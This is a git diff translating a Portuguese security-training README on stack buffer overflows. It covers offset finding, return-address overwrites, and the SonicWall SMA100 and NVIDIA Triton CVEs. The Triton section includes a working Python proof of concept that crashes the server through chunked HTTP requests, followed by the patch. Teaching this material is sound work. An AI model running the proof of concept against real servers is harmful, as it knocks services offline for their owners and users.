Translated ['src/binary-exploitation/stack-overflow/README.md'] to pt

This commit is contained in:
Translator 2025-08-20 02:44:38 +00:00
parent 7211d1b297
commit 8f046c4d75

View File

@ -8,11 +8,11 @@ Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escre
O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro de base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
A vulnerabilidade geralmente surge porque uma função **copia na pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha.
A vulnerabilidade geralmente surge porque uma função **copia para dentro da pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha.
Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read` & `memcpy`** que aceitam um **argumento de comprimento**, podem ser usadas de maneira vulnerável se o comprimento especificado for maior do que o alocado.
Por exemplo, as seguintes funções poderiam ser vulneráveis:
Por exemplo, as seguintes funções podem ser vulneráveis:
```c
void vulnerable() {
char buffer[128];
@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Encontrando offsets de Stack Overflows
### Encontrando os offsets de Stack Overflows
A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (por exemplo, `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que o **endereço `0x41414141` foi tentado acessar**.
Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada possível subsequência de comprimento _n_ aparece exatamente uma vez** como uma subsequência contígua.
Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada subsequência possível de comprimento _n_ aparece exatamente uma vez** como uma subsequência contígua.
Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-o.
Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-a.
É possível usar **pwntools** para isso:
```python
@ -50,7 +50,7 @@ pattern search $rsp #Search the offset given the content of $rsp
```
## Explorando Estouro de Pilha
Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente), você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
A maneira mais comum de abusar desse tipo de vulnerabilidade é **modificando o endereço de retorno** para que, quando a função terminar, o **fluxo de controle seja redirecionado para onde o usuário especificou** neste ponteiro.
No entanto, em outros cenários, apenas **sobrescrever alguns valores de variáveis na pilha** pode ser suficiente para a exploração (como em desafios CTF fáceis).
@ -79,7 +79,7 @@ Esta técnica é a estrutura fundamental para contornar a principal proteção d
../rop-return-oriented-programing/
{{#endref}}
## Estouro de Heap
## Estouros de Heap
Um estouro não ocorrerá sempre na pilha, também pode ocorrer no **heap**, por exemplo:
@ -97,8 +97,7 @@ Existem várias proteções tentando prevenir a exploração de vulnerabilidades
### Exemplo do Mundo Real: CVE-2025-40596 (SonicWall SMA100)
Uma boa demonstração de por que **`sscanf` nunca deve ser confiável para analisar entradas não confiáveis** apareceu em 2025 no dispositivo SSL-VPN SMA100 da SonicWall.
A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que comece com `/__api__/`:
Uma boa demonstração de por que **`sscanf` nunca deve ser confiado para analisar entradas não confiáveis** apareceu em 2025 no dispositivo SSL-VPN SMA100 da SonicWall. A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que comece com `/__api__/`:
```c
char version[3];
char endpoint[0x800] = {0};
@ -121,7 +120,66 @@ Mesmo que canários de pilha abortem o processo, um atacante ainda ganha um **De
* Sempre forneça uma **largura máxima de campo** (por exemplo, `%511s`).
* Prefira alternativas mais seguras, como `snprintf`/`strncpy_s`.
### Exemplo do Mundo Real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
O Triton Inference Server da NVIDIA (≤ v25.06) continha múltiplos **estouramentos de pilha** acessíveis através de sua API HTTP. O padrão vulnerável apareceu repetidamente em `http_server.cc` e `sagemaker_server.cc`:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent) retorna o **número de segmentos de buffer internos** que compõem o corpo da solicitação HTTP atual.
2. Cada segmento causa a alocação de um `evbuffer_iovec` de **16 bytes** na **pilha** via `alloca()` **sem nenhum limite superior**.
3. Ao abusar do **_chunked transfer-encoding_ HTTP**, um cliente pode forçar a solicitação a ser dividida em **centenas de milhares de chunks de 6 bytes** (`"1\r\nA\r\n"`). Isso faz com que `n` cresça sem limites até que a pilha se esgote.
#### Prova de Conceito (DoS)
```python
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
Uma solicitação de ~3 MB é suficiente para sobrescrever o endereço de retorno salvo e **crash** o daemon em uma build padrão.
#### Patch & Mitigação
A versão 25.07 substitui a alocação de pilha insegura por um **`std::vector` baseado em heap** e lida graciosamente com `std::bad_alloc`:
```c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
```
Lições aprendidas:
* Nunca chame `alloca()` com tamanhos controlados pelo atacante.
* Solicitações em partes podem mudar drasticamente a forma dos buffers do lado do servidor.
* Valide / limite qualquer valor derivado da entrada do cliente *antes* de usá-lo em alocações de memória.
## Referências
* [watchTowr Labs Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
* [Trail of Bits Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
{{#include ../../banners/hacktricks-training.md}}